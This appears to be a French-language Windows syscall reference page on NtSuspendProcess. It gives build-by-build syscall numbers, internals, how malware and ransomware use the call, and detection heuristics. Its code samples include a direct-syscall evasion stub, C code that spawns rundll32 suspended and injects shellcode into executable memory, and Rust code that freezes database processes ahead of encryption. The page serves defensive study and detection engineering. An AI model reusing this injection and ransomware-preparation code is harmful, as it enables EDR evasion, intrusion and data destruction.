> Windows Syscalls
ntoskrnl.exeT1055T1562.001T1106

NtSuspendProcess

Suspend tous les threads d'un processus cible en incrémentant le compteur de suspension de chacun.

Prototype

NTSTATUS NtSuspendProcess(
  HANDLE ProcessHandle
);

Arguments

NameTypeDirDescription
ProcessHandleHANDLEinHandle vers le processus à suspendre. Requiert PROCESS_SUSPEND_RESUME.

IDs de syscalls par version de Windows

Version de WindowsID de syscallBuild
Win10 15070x19Fwin10-1507
Win10 16070x1A8win10-1607
Win10 17030x1AEwin10-1703
Win10 17090x1B1win10-1709
Win10 18030x1B3win10-1803
Win10 18090x1B4win10-1809
Win10 19030x1B5win10-1903
Win10 19090x1B5win10-1909
Win10 20040x1BBwin10-2004
Win10 20H20x1BBwin10-20h2
Win10 21H10x1BBwin10-21h1
Win10 21H20x1BDwin10-21h2
Win10 22H20x1BDwin10-22h2
Win11 21H20x1C7win11-21h2
Win11 22H20x1CBwin11-22h2
Win11 23H20x1CBwin11-23h2
Win11 24H20x1CEwin11-24h2
Server 20160x1A8winserver-2016
Server 20190x1B4winserver-2019
Server 20220x1C3winserver-2022
Server 20250x1CEwinserver-2025

Module noyau

ntoskrnl.exeNtSuspendProcess

APIs liées

DebugActiveProcessSuspendThreadNtSuspendThreadNtResumeProcessNtOpenProcess

Stub du syscall

4C 8B D1            mov r10, rcx
B8 CE 01 00 00      mov eax, 0x1CE
F6 04 25 08 03 FE 7F 01   test byte ptr [0x7FFE0308], 1
75 03               jne short +3
0F 05               syscall
C3                  ret
CD 2E               int 2Eh
C3                  ret

Notes non documentées

NtSuspendProcess est exporté par ntdll mais n'est pas documenté dans le SDK Windows public ; la route supportée est le wrapper Win32 (`SuspendThread` sur chaque thread). En interne il parcourt l'EPROCESS ThreadListHead et appelle KeSuspendThread sur chaque entrée, donc un compteur de suspension par thread est maintenu — un processus suspendu N fois nécessite N resumes. Le SSN monte régulièrement à travers les builds (0x19F → 0x1CE) à mesure que de nouveaux syscalls sont insérés en fin de SSDT ; la résolution dynamique est obligatoire.

Usage courant par les malwares

L'usage le plus connu est le modèle **Fork & Run** de Cobalt Strike / BruteRatel avec processus sacrificiel : spawn d'un processus bénin (rundll32.exe canoniquement) suspendu, injection du BOF / object file de l'outil post-exploitation, exécution, puis terminate ou suspend en attente d'exfil. NtSuspendProcess figure aussi dans les **sleeps d'évasion AV** — au lieu de dormir dans l'implant (qui reste schedulé et scannable), l'implant suspend un processus helper sœur tandis que les callbacks ETW se déclenchent moins. Les ransomwares l'utilisent avant chiffrement pour figer les bases de données (`sqlservr.exe`, `oracle.exe`, `mongod.exe`) afin que les handles de fichier soient libérés et que les lock files ne bloquent pas le chiffrement sur place (LockBit, Royal, BlackCat le font tous). Enfin, les attaquants suspendent des processus helper / scanner d'EDR protégés contre la terminaison mais pas contre la suspension.

Opportunités de détection

La télémétrie est rare — il n'y a pas d'événement Sysmon pour la suspension de processus, et l'instrumentation Win32 SuspendThread capture rarement tous les threads d'un EPROCESS en un tick. Sources utiles : les transitions d'état style `Microsoft-Windows-Kernel-Process/ThreadStop` ETW manquent, mais `Microsoft-Windows-Kernel-Audit-API-Calls` couvre les appels Nt*Process quand l'audit policy l'active. Heuristique : un processus avec des handles PROCESS_SUSPEND_RESUME sur des processus non-enfant, en particulier d'images de sécurité ou de base de données, est suspect. Coupler la détection de NtSuspendProcess avec un NtWriteVirtualMemory + NtResumeProcess subséquents du même appelant pour un alerting Fork & Run à haute confiance.

Exemples de syscalls directs

asmx64 direct stub (Win11 24H2)

; Direct syscall stub for NtSuspendProcess (SSN 0x1CE on 24H2/2025)
; SSN climbs every release — resolve dynamically across builds.
NtSuspendProcess PROC
    mov  r10, rcx          ; syscall convention
    mov  eax, 1CEh         ; SSN
    syscall
    ret
NtSuspendProcess ENDP

cFork & Run sacrificial spawn

// Sacrificial-process pattern: spawn rundll32.exe suspended, then
// inject and execute a BOF or shellcode inside it. The host implant
// stays clean — only the helper carries the suspicious memory.
#include <windows.h>

typedef NTSTATUS (NTAPI *pNtSuspendProcess)(HANDLE);
typedef NTSTATUS (NTAPI *pNtResumeProcess)(HANDLE);

void ForkAndRun(LPVOID shellcode, SIZE_T shellcode_len) {
    STARTUPINFOW si = { sizeof si };
    PROCESS_INFORMATION pi;
    CreateProcessW(L"C:\\Windows\\System32\\rundll32.exe", NULL, NULL, NULL,
                   FALSE, CREATE_SUSPENDED | CREATE_NO_WINDOW,
                   NULL, NULL, &si, &pi);

    PVOID  remote = NULL;
    SIZE_T size = shellcode_len;
    NtAllocateVirtualMemory(pi.hProcess, &remote, 0, &size,
                            MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    NtWriteVirtualMemory(pi.hProcess, remote, shellcode, shellcode_len, NULL);

    HANDLE hThread = NULL;
    NtCreateThreadEx(&hThread, THREAD_ALL_ACCESS, NULL, pi.hProcess,
                     remote, NULL, 0, 0, 0, 0, NULL);
    // pi.hThread stays suspended; only the BOF thread runs to completion.
}

rustfreeze DBs before encryption

// Cargo: windows-sys = "0.59"
use windows_sys::Win32::Foundation::HANDLE;
use windows_sys::Win32::System::Threading::{OpenProcess, PROCESS_SUSPEND_RESUME};

extern "system" { fn NtSuspendProcess(handle: HANDLE) -> i32; }

pub unsafe fn freeze(pids: &[u32]) {
    for &pid in pids {
        let h = OpenProcess(PROCESS_SUSPEND_RESUME, 0, pid);
        if !h.is_null() { NtSuspendProcess(h); }
    }
}

Mappings MITRE ATT&CK

Last verified: 2026-05-20